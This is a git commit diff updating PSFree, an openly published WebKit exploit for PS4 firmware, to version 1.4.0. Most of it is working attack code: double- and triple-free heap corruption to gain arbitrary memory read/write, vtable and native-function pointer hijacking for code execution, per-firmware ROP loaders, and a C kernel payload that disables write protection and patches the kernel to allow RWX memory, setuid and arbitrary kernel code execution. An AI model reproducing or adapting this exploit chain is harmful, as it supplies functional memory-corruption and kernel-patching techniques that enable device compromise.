Update to 1.4.0

This commit is contained in:
Kameleon
2024-01-27 20:25:49 -06:00
parent fab7ace474
commit c987b108af
19 changed files with 4091 additions and 278 deletions
+56 -18
View File
@@ -1,4 +1,4 @@
<!-- Copyright (C) 2023 anonymous
<!-- Copyright (C) 2023-2024 anonymous
This file is part of PSFree.
@@ -23,6 +23,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<body>
PSFree is a WebKit exploit for PS4 Firmware 8.03.<br>
PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br>
PSFree's license is GNU-AGPL-3.0-or-later.<br>
Here is the source code of this program:<br>
<br>
HTML files:<br>
@@ -34,55 +35,92 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="./alert.mjs">alert.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./alert.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./config.mjs">config.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./config.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./run.mjs">run.mjs</a></td>
</tr>
<tr>
<td><a href="./code_exec_example.mjs">code_exec_example.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./run.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./rop.mjs">rop.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./code_exec_example.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./exploit.mjs">exploit.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./exploit.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./send.mjs">send.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./send.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/800.mjs">rop/800.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/800.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/960.mjs">rop/960.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/960.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/850.mjs">rop/850.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/850.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/900.mjs">rop/900.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/900.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/chain.mjs">module/chain.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/chain.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./module/int64.mjs">module/int64.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/int64.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./module/constants.mjs">module/constants.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/constants.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/memtools.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/utils.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./module/rw.mjs">module/rw.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/rw.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/offset.mjs" download>download</a></td>
</tr> <tr>
</tr>
<tr>
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/mem.mjs" download>download</a></td>
</tr>
</table>
kpatch/ files:<br>
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
<a href="./kpatch/Makefile">kpatch/Makefile</a><br>
<a href="./kpatch/80x.c">kpatch/80x.c</a><br>
<a href="./kpatch/types.h">kpatch/types.h</a><br>
</body>
</html>
+1 -1
View File
@@ -1,4 +1,4 @@
/* Copyright (C) 2023 anonymous
/* Copyright (C) 2023-2024 anonymous
This file is part of PSFree.
+117
View File
@@ -0,0 +1,117 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import * as config from './config.mjs';
import { Int } from './module/int64.mjs';
import { debug_log } from './module/utils.mjs';
import { Addr, mem } from './module/mem.mjs';
import { make_buffer } from './module/memtools.mjs';
import * as rw from './module/rw.mjs';
import * as o from './module/offset.mjs';
const origin = window.origin;
const port = '8000';
const url = `${origin}:${port}`;
const offset_scrollLeft = (() => {
switch (config.target) {
case config.ps4_8_03: {
return 0x1c8;
}
default: {
throw RangeError(`invalid config.target: ${config.target}`);
}
}
})();
const textarea = document.createElement('textarea');
// JSObject
let addr = mem.addrof(textarea);
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
const webcore_textarea = addr;
// vtable for WebCore::HTMLTextAreaElement
addr = addr.readp(0);
const original_vtable = addr;
debug_log(`vtable: ${addr}`);
const vtable = make_buffer(addr, 0x400);
const fake_vtable = new Uint8Array(vtable);
const fake_vtable_buffer = (
mem.addrof(fake_vtable).read64(o.view_m_vector)
);
const scrollLeft = rw.read64(fake_vtable, offset_scrollLeft);
const scrollLeft_size = (() => {
switch (config.target) {
case config.ps4_8_03: {
return 0xd7;
}
default: {
throw RangeError(`invalid config.target: ${config.target}`);
}
}
})();
function main() {
const offset_vtable = 0;
debug_log(`${offset_scrollLeft.toString(16)}: ${scrollLeft}`);
webcore_textarea.write64(offset_vtable, fake_vtable_buffer);
// jump to end of function
rw.write64(
fake_vtable,
offset_scrollLeft,
scrollLeft.add(scrollLeft_size)
);
// textarea.scrollLeft will usually return a 0, since we jumped to end of
// WebCore::Element::scrollLeft() immediately, the return value is usually
// not 0.
debug_log(`scroll: ${textarea.scrollLeft}`);
webcore_textarea.write64(offset_vtable, original_vtable);
}
function rop2() {
// eval() is a built-in function
// We could use any built-in function, e.g. parseInt(), parseFloat(),
// Date.prototype.getTime(), etc. Search for "host" functions at
// WebKit/Source/JavaScriptCore/runtime at PS4 8.03.
const func = eval;
// JSC::JSFunction
const js_function = mem.addrof(func);
// JSFunction::m_executable
// Since the function is built-in, m_executable is of type
// JSC::NativeExecutable.
const exec = js_function.readp(0x18);
// NativeExecutable::m_function, pointer to the implementation of a
// built-in function
const offset_m_function = 0x38;
exec.write64(
offset_m_function,
scrollLeft.add(scrollLeft_size) // jump to a ret instruction
);
debug_log(scrollLeft.add(scrollLeft_size));
debug_log(exec.read64(offset_m_function));
// must not evaluate since we changed m_function
func('alert("hi")');
debug_log('returned successfully');
}
main();
rop2();
+1 -1
View File
@@ -71,7 +71,7 @@ function DetectFirmwareVersion()
return ps4_6_50;
}
if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50")
if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50" || UA == "8.51")
{
return ps4_8_03;
}
+135 -210
View File
@@ -1,4 +1,4 @@
/* Copyright (C) 2023 anonymous
/* Copyright (C) 2023-2024 anonymous
This file is part of PSFree.
@@ -28,7 +28,7 @@ import {
import * as o from './module/offset.mjs';
import { Int } from './module/int64.mjs';
import { Memory, Memory2 } from './module/mem.mjs';
import { Memory } from './module/mem.mjs';
import {
die,
@@ -81,11 +81,9 @@ let view_leak_arr = [];
// 3rd element is the address of the buffer of the JSArrayBufferView
let jsview = [];
// objects for saving values
// object for saving values
let s1 = {views : []};
let s2 = {views : []};
let view_leak = null;
let view_rw = null;
let input = document.body.appendChild(document.createElement("input"));
let foo = document.body.appendChild(document.createElement("a"));
@@ -221,7 +219,7 @@ async function setup_ar(save) {
let total_sleep = 0;
const num_sleep = 8;
// Don't sleep for 9.xx. Tests show it is slower. This check and the sleep
// before double_free() make the exploit fast for 9.xx.
// before double_free() make setup_ar() fast for 9.xx.
while (true && config.target !== config.ps4_9_00) {
await sleep(num_sleep);
total_sleep += num_sleep;
@@ -371,19 +369,6 @@ async function double_free(save) {
write32(view, o.strimpl_strlen, original_strlen);
debug_log('contents of JSArrayBufferView');
debug_log(jsview);
/*
// check if the JSArrayBufferView is allocated below its buffer
let index = view_leak.sub(jsview[2]);
debug_log('index: ' + index);
// check sign bit
if (index.high() >>> 31 === 1) {
die('view not below buffer');
}
if (index.high() !== 0) {
die('index not reachable by relative r/w');
}
*/
}
function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) {
@@ -462,6 +447,19 @@ class Reader {
//
// Setup to make deserialization create an ArrayBuffer with its buffer address
// pointing to a JSArrayBufferView (worker).
//
// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <=
// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap
// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer")
// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on
// the fastMalloc heap, the contents of the old one will be copied. This will
// change the m_vector field, so care must be taken if you cache the result of
// get_view_vector(), you must call it again to get the updated field.
//
// See enum TypedArrayMode from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and
// possiblySharedBuffer() from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03.
function setup_ssv_data(reader) {
const r = reader;
// sizeof WTF::Vector<T>
@@ -470,8 +468,8 @@ function setup_ssv_data(reader) {
const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20;
// WTF::Vector<unsigned char>
const m_data = new Uint8Array(new ArrayBuffer(size_vector));
const data = new Uint8Array(new ArrayBuffer(9));
const m_data = new Uint8Array(size_vector);
const data = new Uint8Array(9);
// m_buffer
write64(m_data, 0, r.get_view_vector(data));
@@ -481,7 +479,7 @@ function setup_ssv_data(reader) {
write32(m_data, 0xc, data.length);
// 6 is the serialization format version number for ps4 6.00. The format
// is backwards compatible and using a value less the current version
// is backwards compatible and using a value less than the current version
// number used by a specific WebKit version is considered valid.
//
// See CloneDeserializer::isValid() from
@@ -493,14 +491,21 @@ function setup_ssv_data(reader) {
write32(data, 5, 0);
// WTF::Vector<JSC::ArrayBufferContents>
const abc_vector = new Uint8Array(new ArrayBuffer(size_vector));
const abc_vector = new Uint8Array(size_vector);
// JSC::ArrayBufferContents
const abc = new Uint8Array(new ArrayBuffer(size_abc));
const abc = new Uint8Array(size_abc);
write64(abc_vector, 0, r.get_view_vector(abc));
write32(abc_vector, 8, 1);
write32(abc_vector, 0xc, 1);
// m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
// unlike FastTypedArray, where the buffer is managed by the GC. This
// prevents random crashes.
//
// See JSGenericTypedArrayView<Adaptor>::visitChildren() from
// WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
// PS4 8.03.
const worker = new Uint8Array(new ArrayBuffer(1));
if (config.target !== config.ps4_9_00) {
@@ -515,10 +520,12 @@ function setup_ssv_data(reader) {
} else {
// m_data
write64(abc, 0, r.addrof(worker));
// m_destructor
write64(abc, 8, Int.Zero);
// m_shared
write64(abc, 0xe, Int.Zero);
// m_destructor (48 bits)
write32(abc, 8, 0);
write16(abc, 0xc, 0);
// m_shared (48 bits)
write32(abc, 0xe, 0);
write16(abc, 0x12, 0);
// m_sizeInBytes
write32(abc, 0x14, o.size_view);
}
@@ -537,7 +544,7 @@ function setup_ssv_data(reader) {
}
// get arbitrary read/write
async function setup_arw2(save, ssv_data) {
async function setup_arw(save, ssv_data) {
const num_msg = 1000;
const view = save.ab;
let msgs = [];
@@ -548,7 +555,8 @@ async function setup_arw2(save, ssv_data) {
addEventListener('message', onmessage);
// Free the StringImpl so we can spray SerializedScriptValues over the
// buffer of view.
// buffer of the view. The StringImpl is safe to free since we fixed it up
// earlier.
rstr = null;
while (true) {
for (let i = 0; i < num_msg; i++) {
@@ -572,6 +580,12 @@ async function setup_arw2(save, ssv_data) {
debug_log(read64(view, i));
}
// save SerializedScriptValue
const copy = [];
for (let i = 0; i < view.length; i++) {
copy.push(view[i]);
}
const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data;
write64(view, 8, read64(m_data, 0));
write64(view, 0x10, read64(m_data, 8));
@@ -579,7 +593,6 @@ async function setup_arw2(save, ssv_data) {
for (const msg of msgs) {
if (msg.data !== '') {
alert('achieved arbitrary r/w');
debug_log('achieved arbitrary r/w');
const u = new Uint8Array(msg.data);
@@ -588,13 +601,25 @@ async function setup_arw2(save, ssv_data) {
debug_log(read64(u, i));
}
const mem = new Memory2(u, worker);
const mem = new Memory(u, worker);
// safe to zero out the contents, the destructor will ignore fields
// that are zero/NULL
view.set(new Uint8Array(view.buffer));
// set refcount to 1 to have it not leak memory
view[0] = 1;
// restore SerializedScriptValue
view.set(copy);
// cleanup
view_leak_arr = null;
view_leak = null;
jsview = null;
input = null;
foo = null;
// Before s1.ab gets garbage collected and its underlying buffer
// on the fastMalloc heap is freed, another object could be
// allocated in the meantime. That object could be freed
// prematurely once the GC occurs. This could corrupt the object
// if another object is allocated in the same memory area.
//
// So we will keep s1 alive.
return;
}
@@ -603,8 +628,8 @@ async function setup_arw2(save, ssv_data) {
}
// Don't create additional references to rstr, use the global variable. This
// is to make dropping all references to it easy (change the value of the
// global variable).
// is to make dropping all its references easy (change the value of the global
// variable).
async function triple_free(
save,
// contents of the leaked JSArrayBufferView
@@ -616,158 +641,9 @@ async function triple_free(
let r = new Reader(rstr, save.ab, leaker, leaked_view_addr);
const ssv_data = setup_ssv_data(r);
// r contains a reference to rstr, drop it for setup_arw2()
// r contains a reference to rstr, drop it for setup_arw()
r = null;
await setup_arw2(save, ssv_data);
}
// for ps4 and ps5
async function decrement(save) {
debug_log('try decrement');
const offset_num_loop =
config.target === config.ps4_6_00 ? 0x54 : 0x44
;
const offset_target_addr =
config.target === config.ps4_6_00 ? 0x48 : 0x38
;
const view = save.ab;
const num_loop_str = offset_num_loop.toString(16);
const target_addr_str = offset_target_addr.toString(16);
// any of the buffers since they all share the same underlying memory
let trick_buffer = view_leak_arr[0];
view[0] = 1; // refcount
for (let i = 1; i < view.length; i++) {
view[i] = 0; // unneeded fields to NULL
}
// setup to trick the destructor
write32(view, offset_num_loop, 1);
write64(view, offset_target_addr, jsview[2]);
debug_log(`0x${num_loop_str}: ${read32(view, offset_num_loop)}`);
debug_log(`0x${target_addr_str}: ${read64(view, offset_target_addr)}`);
debug_log(view);
let target_addr =
view_leak.add(
o.view_m_length
+ 1 // to misalign the decrement
);
write64(trick_buffer, 0, target_addr);
debug_log('target addr: ' + target_addr);
debug_log('check: readout addr in buffer: ' + read64(trick_buffer, 0));
delete save.views;
delete save.pop;
// we lowered it from num_gc since we are crashing on the ps4
gc(20);
debug_log('decrement() gc done');
// Extra sleep if the object hasn't been collected yet, this is to allow
// the garbage collector to preempt us. Keeping the call to gc() lowers the
// average total sleep time.
let total_sleep = 0;
const num_sleep = 8;
while (true) {
await sleep(num_sleep);
total_sleep += num_sleep;
if (view[0] !== 1) {
break;
}
}
debug_log(`total_sleep: ${total_sleep}`);
// log to check if the garbage collector did collect PopStateEvent
// must not log "1, 0, 0, 0, ..."
debug_log(view);
let found = false;
for (let i = 0; i < view_leak_arr.length; i++) {
let view = view_leak_arr[i];
if (view.length > 0xff) {
debug_log('achieved relative r/w');
debug_log('view i: ' + i);
debug_log('view len: ' + view.length);
found = true;
view_rw = view_leak_arr[i];
break;
}
}
if (!found) {
die('no relative r/w');
}
}
// get arbitrary read/write
function setup_arw() {
let view_worker_addr = null;
let view_worker = null;
let worker_i = null;
let index = view_leak.sub(jsview[2]);
index = index.low();
// Is the next JSObject a JSArrayBufferView? Otherwise we target the previous JSObject
if (view_rw[index + o.size_view + o.view_m_length] === buffer_len) {
view_worker_addr = view_leak.add(o.size_view);
worker_i = index + o.size_view;
} else {
view_worker_addr = view_leak.sub(o.size_view);
worker_i = index - o.size_view;
}
debug_log('worker i: ' + worker_i);
// Overiding the length of one the JSArrayBufferViews with a known value
// ensure known value != buffer_len
view_rw[worker_i + o.view_m_length] = 0xff;
// Looking for the worker JSArrayBufferView
let found = false;
for (let i = 0; i < view_leak_arr.length; i++) {
if (view_leak_arr[i].length === 0xff) {
alert('achieved arbitrary r/w');
debug_log('achieved arbitrary r/w');
view_worker = view_leak_arr[i];
found = true;
break;
}
}
if (!found) {
die('no arbitrary r/w');
}
const mem = new Memory(
view_rw, view_leak,
view_worker, view_worker_addr,
worker_i
);
// cleanup
view_leak_arr = null;
view_rw = null;
view_leak = null;
// during the decrement we corrupted m_mode as well, we have the original
// m_mode here at jsview but we won't bother in fixing it since we are not
// crashing anyway
jsview = null;
// the StringImpl is safe to free since we fixed it up earlier
rstr = null;
input = null;
foo = null;
// After rstrs's death and the decrement, the JSArrayBufferViews at s1 and
// s2 will no longer have any object overlaid on their backing buffers but
// it is still freed. Meaning we can control any object that might be
// allocated there again. But these views are no longer needed as we
// already have an arbitrary read/write primitive. It might be in our
// interest to just free them as well.
//
// But since we have not filled the backing buffers with any object, the
// browser might have already filled them with important objects. Freeing
// the views will lead them to freeing their backing buffers since they
// still think they need to and thus this will free any overlaid objects.
//
// So we will not free them just to be sure we won't free any important
// objects by accident and lead to a crash.
//s1 = null;
//s2 = null;
await setup_arw(save, ssv_data);
}
function pop(event, save) {
@@ -798,6 +674,71 @@ async function get_ready() {
});
}
//load per firmware Rop Test
function ExecRopByFw()
{
var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/","");
if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20")
{
alert("No ROP to test");
}
if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72")
{
alert("No ROP to test");
}
if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.01" || UA == "8.51")
{
alert("No ROP to test");
}
if (UA == "8.00")
{
import('./rop/800.mjs');
}
if (UA == "8.03")
{
import('./code_exec_example.mjs');
}
if (UA == "8.50")
{
import('./rop/850.mjs');
}
//on 9.00 Fw deection changed to laystation insead of regular Playstation
UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/","");
if (UA == "9.00")
{
import('./rop/900.mjs');
}
if (UA == "9.03" || UA == "9.04" || UA == "9.50")
{
alert("No ROP to test");
}
if (UA == "9.60")
{
import('./rop/960.mjs');
}
//get user agent for PS5 (taken from PS5 Specter Exploit Host)
const supportedFirmwares = ["1.00","1.01","1.02","1.05","1.12","1.14","2.00","2.10","2.20","2.25","2.26","2.30","2.50","2.70","3.00","3.10","3.20","3.21","4.00", "4.02", "4.03", "4.50", "4.51","5.00","5.02","5.10","5.50"];
const fw_idx = navigator.userAgent.indexOf('PlayStation; PlayStation 5/') + 27;
const fw_str = navigator.userAgent.substring(fw_idx, fw_idx + 4);
if (supportedFirmwares.includes(fw_str))
{
alert("No ROP to test");
}
}
async function run() {
debug_log('stage: readying');
await get_ready();
@@ -809,7 +750,7 @@ async function run() {
// than if it were to happen during the second ssv smashing
// on the ps4
debug_log('stage: double free');
// * keeps double_free()'s total sleep even lower
// * keeps setup_ar()'s total sleep even lower
// * also helps the garbage collector scheduling for 9.xx
await sleep(0);
await double_free(s1);
@@ -817,27 +758,11 @@ async function run() {
debug_log('stage: triple free');
await triple_free(s1, jsview, view_leak_arr, view_leak);
/*
// This extra sleep is needed before UaF 2, since for some reason the
// garbage collector can't immediately collect the objects near state1.
// These objects are probably just the usual temporaries used by the JS
// virtual machine. Essentially there is a timing issue on when is the GC
// allowed to collect?
await sleep(0x800);
debug_log('stage: UaF 2');
await use_after_free(pop, s2);
debug_log('stage: decrement');
await decrement(s2);
debug_log('stage: setup arw');
setup_arw();
clear_log();
// path to your script that will use the exploit
import('./code.mjs');
*/
ExecRopByFw();
}
run();
+1 -1
View File
@@ -18,7 +18,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<html>
<head>
<meta charset='utf-8'>
<title>PSFree Beta 3 version</title>
<title>PSFree 1.4.0</title>
</head>
<body>
+137
View File
@@ -0,0 +1,137 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
#include <stddef.h>
#include "types.h"
void enable_cr0_wp(void) {
asm(
"mov rax, cr0\n"
"or rax, 0x10000\n"
"mov cr0, rax\n"
);
}
void disable_cr0_wp(void) {
asm(
"mov rax, cr0\n"
"and rax, ~0x10000\n"
"mov cr0, rax\n"
);
}
inline void write8(void *addr, size_t offset, u8 value) {
*(u8 *)(addr + offset) = value;
}
inline void write16(void *addr, size_t offset, u16 value) {
*(u16 *)(addr + offset) = value;
}
inline void write32(void *addr, size_t offset, u32 value) {
*(u32 *)(addr + offset) = value;
}
inline void write64(void *addr, size_t offset, u64 value) {
*(u64 *)(addr + offset) = value;
}
// Args:
// kbase: kernel base address
// res:
// Needed value to return (as to not crash) if the caller of the hijacked
// function is expecting some valid value.
// error:
// Address to return an error. 0 for success.
__attribute__((section (".text.start")))
u64 kpatch(void *kbase, u64 res, u64 *error) {
if (kbase == NULL) {
if (error != NULL) {
*error = -1;
}
goto end;
}
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
write32(kbase, 0x490, 0);
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU R: 0x10, W: 0x20, X:, 0x40
// that's why you see other bits set
write8(kbase, 0xfd03a, 0x37);
write8(kbase, 0xfd03d, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
write32(kbase, 0x3ec68d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// patch to alway jump regardless of the check before
write8(kbase, 0x31953f, 0xeb);
// patch called function to always return 0
write32(kbase, 0x951c0, 0xC3C03148);
// patch sys_setuid() to allow freely changing the effective user ID
// patch to alway jump regardless of the check before
write8(kbase, 0x34d696, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rdx;
// u64 r8;
// u64 r9;
// }
//
// jumps to uap->rdi
// u64 sys_kexec(struct thread td, struct args *uap)
// sysent[11]
const size_t offset_sysent_11 = 0x10fc6e0;
// .sy_narg = 2
write32(kbase, offset_sysent_11, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
// restore socketops.fo_chmod
// it was used to initially to perform kernel code execution
write64(kbase, 0x1a76060, kbase + 0x3d0a60);
enable_cr0_wp();
if (error != NULL) {
*error = 0;
}
end:
return res;
}
+16
View File
@@ -0,0 +1,16 @@
TARGET = 80x
ENTRY = 0x900000000
.PHONY: all
all: ${TARGET}.elf
OPTS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
OPTS += -fwrapv -no-pie -Ttext=${ENTRY} -Tscript.ld -Wl,--build-id=none
OPTS += -fwrapv-pointer
${TARGET}.elf: ${TARGET}.c types.h
gcc ${TARGET}.c -o ${TARGET}.elf ${OPTS}
.PHONY: clean
clean:
-rm -f *.elf
+7
View File
@@ -0,0 +1,7 @@
SECTIONS
{
.text : { *(.text.start) *(.text) }
.data : { *(.data) }
.bss : { *(.bss) }
/DISCARD/ : { *(.*) }
}
+28
View File
@@ -0,0 +1,28 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
#pragma once
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;
+19 -2
View File
@@ -28,14 +28,31 @@ import * as o from './offset.mjs';
// put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({
'close': 6,
'setuid' : 23,
'getuid' : 24,
'mprotect': 74,
'socket' : 97,
'fchmod' : 124,
'mlock' : 203,
'kqueue' : 362,
'kevent' : 363,
'mmap' : 477,
// for JIT shared memory
'jitshm_create' : 533,
'jitshm_alias' : 534,
}));
// Extra space to allow a ROP chain to push temporary values. It must pop all
// of it before reaching a "ret" instruction, else the instruction will pop one
// of the temporaries as its return address.
const upper_pad = 0x100;
const stack_size = 0x1000;
//
// Also space for additional frames when we call a function since we do not
// pivot the call to another stack (the called function's stack pointer is
// pointing to our ROP stack as well).
const upper_pad = 0x10000;
// maximum size of the ROP stack
const stack_size = 0x10000;
const total_size = upper_pad + stack_size;
const argument_pops = [
+5
View File
@@ -114,6 +114,11 @@ export class Int {
this.buffer = buffer;
this.bytes = bytes;
this.eq = operation(function eq(b) {
const a = this;
return a.low() === b.low() && a.high() === b.high();
}, 1);
this.neg = operation(function neg() {
let type = this.constructor;
+1 -26
View File
@@ -1,4 +1,4 @@
/* Copyright (C) 2023 anonymous
/* Copyright (C) 2023-2024 anonymous
This file is part of PSFree.
@@ -208,31 +208,6 @@ class MemoryBase {
}
export class Memory extends MemoryBase {
constructor(main, main_addr, worker, worker_addr, worker_index) {
super();
this.main = main;
this.main_addr = main_addr;
this.worker = worker;
this.worker_addr = worker_addr;
// The initial creation of the "a" property will change the butterfly
// address. Do it now so we can cache it for addrof().
worker.a = 0; // dummy value, we just want to create the "a" property
this.butterfly = read64(main, worker_index + o.js_butterfly);
write32(main, worker_index + o.view_m_length, 0xffffffff);
// setup main's m_vector to worker
write64(main, worker_index + o.view_m_vector, main_addr);
write64(worker, o.view_m_vector, worker_addr);
this._current_addr = main_addr;
init_module(this);
}
}
export class Memory2 extends MemoryBase {
constructor(main, worker) {
super();
+38 -19
View File
@@ -1,4 +1,4 @@
/* Copyright (C) 2023 anonymous
/* Copyright (C) 2023-2024 anonymous
This file is part of PSFree.
@@ -26,42 +26,61 @@ import { read32 } from './rw.mjs';
import * as rw from './rw.mjs';
import * as o from './offset.mjs';
// creates an ArrayBuffer whose contents is copied from addr
export function make_buffer(addr, size) {
// see enum TypedArrayMode from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
// at webkitgtk 2.34.4
//
// views with m_mode < WastefulTypedArray don't have a ArrayBuffer object
// associated with them, if we ask for view.buffer, it will be created on
// the fly
const mode_fast = 0;
const u = new Uint8Array(1);
// see possiblySharedBuffer() from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
// at webkitgtk 2.34.4
//
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
// associated with them, if we ask for view.buffer, the view will be
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
//
// We will create an OversizeTypedArray via requesting an Uint8Array whose
